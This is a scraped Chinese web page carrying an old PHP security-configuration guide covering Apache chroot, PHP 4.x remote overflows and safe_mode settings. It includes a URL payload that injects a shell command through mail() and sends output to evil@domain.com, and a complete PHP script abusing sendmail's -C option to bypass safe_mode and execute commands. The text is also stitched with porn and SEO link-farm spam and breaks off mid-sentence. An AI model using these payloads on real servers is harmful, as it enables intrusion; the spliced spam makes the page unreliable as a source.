一、Web服務(wù)器安全

PHP其實(shí)不過是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只 " /> 探花 在线,极黄视频,欧洲一区二区三区免费视频

中文字幕日韩一区二区_国产一区二区av_国产毛片av_久久久久国产一区_色婷婷电影_国产一区二区精品

PHP安全配置

php安全配置 

一、Web服務(wù)器安全 

php其實(shí)不過是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。php可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和php及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問題,因?yàn)?a href=/itjie/phpjishu/ target=_blank class=infotextkey>php.ini里的: 

[mail function] 
; For Win32 only. 
SMTP = localhost 

; For Win32 only. 
sendmail_from = me@localhost.com 

都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。 

二、php本身問題 

1、遠(yuǎn)程溢出 

php-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高: 

http://packetstormsecurity.org/0204-exploits/7350fun 
http://hsj.shadowpenguin.org/misc/php3018_exp.txt 

2、遠(yuǎn)程拒絕服務(wù) 

php-4.2.0和php-4.2.1存在php multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。 

3、safe_mode繞過漏洞 

還有php-4.2.2以下到php-4.0.5版本都存在php mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號(hào)隔開后面加shell命令就可以了,比如存在php腳本evil.php: 

<? mail("foo@bar,"foo","bar","",$bar); ?>  

執(zhí)行如下的URL: 

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com 

這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。 

對(duì)于4.0.6至4.2.2的php突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令: 

<? 
# 注意,下面這兩個(gè)必須是不存在的,或者它們的屬主和本腳本的屬主是一樣 
$script="/tmp/script123"; 
$cf="/tmp/cf123"; 

$fd = fopen($cf, "w"); 
fwrite($fd, "OQ/tmp 
Sparse=0 
R$*" . chr(9) . "$#local $@ $1 $: $1 
Mlocal, P=/bin/sh, A=sh $script"); 
fclose($fd); 

$fd = fopen($script, "w"); 
fwrite($fd, "rm -f $script $cf; "); 
fwrite($fd, $cmd); 
fclose($fd); 

mail("nobody", "", "", "", "-C$cf"); 
?> 

還是使用以上有問題版本php的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問題。 

三、php本身的安全配置 

php的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項(xiàng)的各個(gè)值。 

如果配置選項(xiàng)是唯一php_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是php的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項(xiàng)是對(duì)Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項(xiàng)是對(duì)該定義的目錄下所有腳本生效。 

如果還有其他的php_INI_USER, php_INI_PERDIR, php_INI_ALL屬性的選項(xiàng)就可以使用.htaccess文件設(shè)置,也可以通過在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對(duì)當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對(duì)該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個(gè)版本的選項(xiàng)屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項(xiàng),以及它的屬性: 

# grep php_INI_ /php_SRC/main/main.c 

在討論php安全配置之前,應(yīng)該好好了解php的safe_mode模式。 

1、safe_mode 

safe_mode是唯一php_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini: 

safe_mode = On 

或者修改httpd.conf,定義目錄: 

<Directory /var/www> 
Options FollowSymLinks 
php_admin_value safe_mode 1 
</Directory> 

重啟apache后safe_mode就生效了。啟動(dòng)safe_mode,會(huì)對(duì)許多php函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。 
所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為: 

<?include("index.html")?> 

幾個(gè)文件的屬性如下: 

# ls -la 
total 13 
drwxr-xr-x 2 root root 104 Jul 20 01:25 . 
drwxr-xr-x 16 root root 384 Jul 18 12:02 .. 
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html 
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php 

在瀏覽器請(qǐng)求test.php會(huì)提示如下的錯(cuò)誤信息: 

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1 

如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是php的一個(gè)漏洞還是另有隱情。所以php腳本屬主這個(gè)用戶最好就只作這個(gè)用途,絕對(duì)禁止使用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。 

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項(xiàng): 

safe_mode_gid = On 

設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會(huì)被禁止。如果確實(shí)需要調(diào)用其它程序,可以在php.ini做如下設(shè)置: 

safe_mode_exec_dir = /usr/local/php/exec 

然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。 

safe_mode_include_dir string 
當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時(shí)越過 UID/GID 檢查。  

從 php 4.2.0 開始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號(hào)隔開的路徑,而不只是一個(gè)目錄。  

指定的限制實(shí)際上是一個(gè)前綴,而非一個(gè)目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個(gè)指定的目錄,那么請(qǐng)?jiān)诮Y(jié)尾加上一個(gè)斜線,例如:“safe_mode_include_dir = /dir/incl/”。  

safe_mode_allowed_env_vars string 
設(shè)置某些環(huán)境變 主站蜘蛛池模板: 国产成人福利视频在线观看 | 视频一区 亚洲 | 日韩一区二区在线视频 | 日韩久久久久 | aaaaa毛片| 久久精品欧美一区二区三区不卡 | 国产美女一区二区 | 成人欧美一区二区三区视频xxx | 激情一区二区三区 | 国产精品久久久久久久久久久久午夜片 | 精品日韩一区二区 | 九九综合九九 | 宅女噜噜66国产精品观看免费 | 免费国产一区二区视频 | av影音| 欧美精品二区 | 欧美日韩综合一区 | 欧美日本韩国一区二区三区 | 免费久久视频 | 国产精品久久久久久久久久三级 | 成人高潮片免费视频欧美 | 九九爱这里只有精品 | 精品久久精品 | 999国产精品视频免费 | 91九色porny首页最多播放 | 亚洲国产欧美一区二区三区久久 | av福利网 | 国产婷婷色一区二区三区 | 日韩精品在线免费观看视频 | 中文字幕一区在线观看视频 | 在线播放一区二区三区 | 国产一区二区在线免费观看 | 国产精品久久 | 久久亚洲国产 | 91精品国产高清一区二区三区 | 亚洲 中文 欧美 日韩 在线观看 | 日韩国产精品一区二区三区 | 久久国产精品免费一区二区三区 | 成人av一区 | 精品乱子伦一区二区三区 | 午夜视频一区二区三区 |